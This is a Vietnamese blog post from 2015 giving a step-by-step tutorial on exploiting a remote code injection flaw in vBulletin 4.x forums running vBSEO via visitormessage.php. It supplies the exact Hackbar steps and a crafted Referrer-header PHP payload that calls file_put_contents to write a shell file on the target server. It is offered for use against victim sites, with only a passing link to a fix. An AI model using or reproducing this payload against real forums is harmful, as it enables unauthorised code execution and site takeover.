Thứ Năm, 5 tháng 3, 2015

Tut khai thác lỗi vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection

Tut khai thác lỗi vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection by Quỷ Lệ - VHB Group

Pass unrar:  quylevhb.blogspot.com

Test trên vbb 4.2.2 cài vbseo 3.6.0 - Forum phải cài vbseo mới phang được nhé. Tranh trường hợp các thím cắm đầu làm theo tut xong kêu không khai thác được =]]]]

Cách Fix lỗi tạm thời các bạn xem ở đây:  http://quylevhb.blogspot.com/2015/03/khac-phuc-loi-vbulletin-vbseo-4xx.html
Bước 1: Đăng ký tài khoản
Bước 2: Vào profile


 Bước 3: Gửi tin nhắn


Bước 4: Mở Hackbar
- Khung load URL điền:  
http:/victim.net/visitormessage.php?do=message
- Khung Referrer điền:   
http://victim.net/members/quylevhb.html?a=$stylevar[${${file_put_contents("shell.php","hacked by Quy Le - VHB Group")}}]"

Bước 5: Xem video nhé các thím =]]]]]




Tut by Quỷ Lệ - VHB Group. Ai lech vui lòng ghi rõ nguồn

Related Posts

Tut khai thác lỗi vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection
4/ 5
Oleh

Theo dõi qua email

Giống như bài viết ở trên ? Hãy đăng ký vào bài viết mới nhất trực tiếp qua email.